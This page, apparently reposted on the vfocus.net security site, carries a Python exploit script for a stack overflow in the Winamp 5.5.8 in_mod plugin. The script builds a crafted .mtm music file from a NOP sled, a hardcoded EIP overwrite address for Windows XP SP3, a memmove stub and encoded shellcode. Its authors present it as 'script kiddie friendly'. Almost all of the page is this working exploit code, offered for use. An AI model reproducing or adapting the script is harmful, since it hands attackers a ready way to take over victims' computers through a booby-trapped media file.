首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow (Friendly Version)
来源:vfocus.net 作者:7eK 发布时间:2010-10-26  

#!/usr/bin/python 
# Pwn And Beans by Mighty-D and 7eK presents: 
# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow
# A Script Kiddie Friendly Production
# WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet 
# Bug found by http://www.exploit-db.com/exploits/15248/
# An improvement to http://www.exploit-db.com/exploits/15287/
# POC by fdisk
# MemMove Idea from: A.Gomez
# Exploit by Mighty-D and 7eK
# Special thanks to: 
# fdisk: Who wrote the skeleton of what you are looking at 
# Ryujin: For pointing the bug 
# EDB-Team
# UdeA GITA SSI


import struct

def fill(shellcode):
       nopsFaltantes = ((len(shellcode) / 40)+1)*40 - len(shellcode)
       shellcode += '\x90'*nopsFaltantes
       return shellcode


header = "\x4D\x54\x4D\x10\x63\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x20\x66\x6F\x72\x20\x69\x6E\x66\x6F\x21\xE0\x00\x29\x39\xFF\xFF\x1F\x00\x40\x0E"
header += "\x78" * 32
buffersize = 65536

nopsled = "\x90" * 58200  +"\x90"*7
eip = "\xED\x1E\x95\x7C"

shellcode = "\x90\x90\x90"+"\x81\xEC\x19\x78\xFF\xFF" #    REALIGN ESP
#[*] x86/alpha_upper encoder
# Place your shellcode here!
shellcode += "\x89\xe2\xdb\xc3\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49" +\
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +\
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +\
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +\
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x43" +\
"\x5a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" +\
"\x4f\x45\x30\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b\x51" +\
"\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x44\x38\x43\x31\x4a" +\
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43" +\
"\x31\x4a\x4b\x50\x49\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a" +\
"\x4e\x50\x31\x4f\x30\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43" +\
"\x44\x45\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x4f\x32\x4a" +\
"\x4b\x4a\x54\x47\x4b\x50\x54\x46\x44\x47\x58\x43\x45\x4a" +\
"\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c" +\
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" +\
"\x4b\x43\x33\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" +\
"\x4c\x45\x31\x4f\x33\x50\x31\x49\x4b\x45\x34\x4c\x4b\x51" +\
"\x53\x46\x50\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45" +\
"\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51\x4e\x42\x48\x4c" +\
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" +\
"\x56\x50\x53\x43\x56\x43\x58\x46\x53\x47\x42\x45\x38\x43" +\
"\x47\x43\x43\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30\x45" +\
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48" +\
"\x56\x51\x4f\x4b\x39\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x44" +\
"\x48\x44\x42\x50\x55\x43\x5a\x45\x52\x4b\x4f\x48\x50\x42" +\
"\x48\x4e\x39\x44\x49\x4b\x45\x4e\x4d\x50\x57\x4b\x4f\x49" +\
"\x46\x46\x33\x46\x33\x46\x33\x50\x53\x51\x43\x51\x53\x50" +\
"\x53\x51\x53\x46\x33\x4b\x4f\x4e\x30\x45\x36\x42\x48\x44" +\
"\x51\x51\x4c\x45\x36\x51\x43\x4c\x49\x4d\x31\x4a\x35\x42" +\
"\x48\x4f\x54\x45\x4a\x44\x30\x48\x47\x50\x57\x4b\x4f\x49" +\
"\x46\x42\x4a\x44\x50\x46\x31\x50\x55\x4b\x4f\x48\x50\x45" +\
"\x38\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x46\x37\x4b\x4f\x48" +\
"\x56\x51\x43\x50\x55\x4b\x4f\x4e\x30\x45\x38\x4d\x35\x47" +\
"\x39\x4d\x56\x47\x39\x50\x57\x4b\x4f\x48\x56\x50\x50\x50" +\
"\x54\x51\x44\x51\x45\x4b\x4f\x4e\x30\x4c\x53\x43\x58\x4d" +\
"\x37\x42\x59\x4f\x36\x42\x59\x51\x47\x4b\x4f\x4e\x36\x51" +\
"\x45\x4b\x4f\x48\x50\x45\x36\x42\x4a\x42\x44\x42\x46\x42" +\
"\x48\x43\x53\x42\x4d\x4b\x39\x4d\x35\x43\x5a\x50\x50\x51" +\
"\x49\x46\x49\x48\x4c\x4c\x49\x4d\x37\x43\x5a\x50\x44\x4b" +\
"\x39\x4d\x32\x46\x51\x4f\x30\x4a\x53\x4f\x5a\x4b\x4e\x51" +\
"\x52\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4c\x53\x4c\x4d\x42" +\
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" +\
"\x4e\x4f\x43\x44\x56\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49" +\
"\x46\x51\x4b\x50\x57\x50\x52\x46\x31\x50\x51\x50\x51\x43" +\
"\x5a\x45\x51\x50\x51\x46\x31\x46\x35\x50\x51\x4b\x4f\x48" +\
"\x50\x42\x48\x4e\x4d\x48\x59\x44\x45\x48\x4e\x50\x53\x4b" +\
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x46\x57\x4b\x4f\x48" +\
"\x50\x4c\x4b\x50\x57\x4b\x4c\x4d\x53\x4f\x34\x45\x34\x4b" +\
"\x4f\x49\x46\x46\x32\x4b\x4f\x4e\x30\x42\x48\x4a\x50\x4c" +\
"\x4a\x45\x54\x51\x4f\x50\x53\x4b\x4f\x48\x56\x4b\x4f\x48" +\
"\x50\x41\x41"

shellcode = fill(shellcode)
nroChunks = (len(shellcode) / 40)

strNroChunks = struct.pack("B", nroChunks+13) #El shellcode del mmove resta 13
print ( "nroChunks=0x%X, strNroChunks=0x%X" % (nroChunks,
struct.unpack("B", strNroChunks)[0] ) )

#add strNroChunks
mmove ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe3\x81\xeb\xcc\xfe\xff\xff\xff\xe3\x60\x89\xfd\x8b\x45\x3c\xf7\xd8\x29\xc5\x8b\x7d\x78\xf7\xd8\x29\xc5\xf7\xdd\x29\xef\x8b\x4f\x18\x50\x90\x90\x90\x90\x90\x58\x8b\x5f\x20\x29\xeb\xf7\xdd\x85\xc9\x75\x0d\xff\x61\xc3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x49\x8b\x34\x8b\xf7\xdd\x29\xee\xf7\xdd\x31\xc0\x99\xfc\xac\x84\xc0\x74\x20\xc1\xca\x0d\xff\xf7\xd8\x29\xc2\xf7\xd8\xeb\xee\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3b\x54\x24\x28\x75\xb2\x8b\x5f\x24\x50\x90\x90\x90\x90\x58\xf7\xdd\x29\xeb\x50\x53\xf7\xd9\x29\xcb\x29\xcb\x31\xc0\xb0\x20\x29\xc3\xf7\xd9\x66\x8b\x4b\x20\x5b\x58\x4f\x4f\x4f\x4f\x8b\x5f\x20\x47\x50\x90\x90\x90\x58\x47\x47\x47\x29\xeb\x53\x52\x31\xd2\xb2\x20\xf7\xd9\x29\xcb\x29\xcb\x29\xcb\x29\xcb\x29\xd3\x8b\x43\x20\xf7\xd9\x5a\x5b\x29\xe8\xf7\xdd\x4c\x50\x90\x90\x90\x58\x4c\x4c\x4c\x89\x44\x24\x20\x44\x44\x44\x44\x61\xc3\x90\x90\x31\xdb\xb3\x80\x29\xdc\x5b\x89\xe5\x31\xc0\x64\x8b\x40\x30\x48\x8b\x40\x0d\xff\x48\x48\x48\x48\x8b\x70\x20\xad\x2c\x20\x8b\x78\x28\x2c\x20\x89\x7d\x60\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x52\x44\x44\x44\x44\x44\x44\x44\x44\x50\x90\x90\x90\x90\x90\x90\x58\xba\x6c\x2c\xec\xc9\xf7\xda\x81\xea\x22\x22\x22\x22\xf7\xda\x52\x4c\x4c\x4c\x4c\x5a\x57\xe8\xc0\xfe\xff\xff\x53\x89\xeb\x80\xeb\x20\x50\x90\x90\x90\x90\x90\x58\x89\x43\x20\x5b\x31\xc0\x2c\x80\x2c\x70\x29\xc5\x31\xc0\x50\x68\x6c\x20\x20\x20\x68\x6c\x2e\x64\x6c\x68\x6e\x74\x64\x6c\x54\x89\xe8\x2c\x90\x50\x90\x90\x90\x58\x2c\x80\x8b\x40\x20\xff\xd0\x89\xc7\x68\x58\xec\x6a\x5f\x57\xe8\x73\xfe\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x50\x90\x90\x90\x58\x89\xe5\x31\xd2\x66\x81\xea\x9c\xfc\x90\x90\x90\x90\x90\x66\xf7\xda\x66\x29\xd5\x31\xd2\x66\xba\x77\x27\x29\xd4\x89\xe7\x54\x31\xc9\xb1"+strNroChunks+"\x50\x90\x90\x90\x90\x58\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\x50\x31\xc0\xb0\x28\xfe\xc0\x50\x90\x90\x90\x90\x58\xfe\xc0\x31\xd2\xb2"+strNroChunks+"\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\x29\xca\x50\x90\x90\x90\x90\x90\x90\x58\xf6\xe2\x89\xc6\x58\xf7\xdd\x29\xee\xf7\xdd\x50\x51\x31\xdb\xb3\x28\x53\x56\x57\xff\xd0\x66\x81\xec\xf4\xff\x59\x58\x31\xdb\xb3\x28\x50\x90\x90\x90\x90\x58\xf7\xdb\x29\xdf\x31\xdb\xfe\xcb\x29\xde\xe2\x90\x5f\xff\xd7" + "\x90"*20

nops = "\x90"*70

payload = header + nopsled + eip + nops + mmove + shellcode;

file = open("crash.mtm", "w")
file.write(payload)
file.close()

print "mtm file generated successfuly"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ARM Bindshell port 0x1337
·Jamb CSRF Arbitrary Add a Post
·ARM Bind Connect UDP Port 68
·HP Data Protector Media Operat
·ARM Loader Port 0x1337
·AnyDVD <= 6.7.1.0 Denial Of Se
·ARM ifconfig eth0 and Assign A
·RarmaRadio v2.52 (.m3u) Denial
·GNU C library dynamic linker L
·Linux Kernel 2.6.32 Local Root
·Spider Player 2.4.5 Denial of
·NitroSecurity ESM v8.4.0a Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved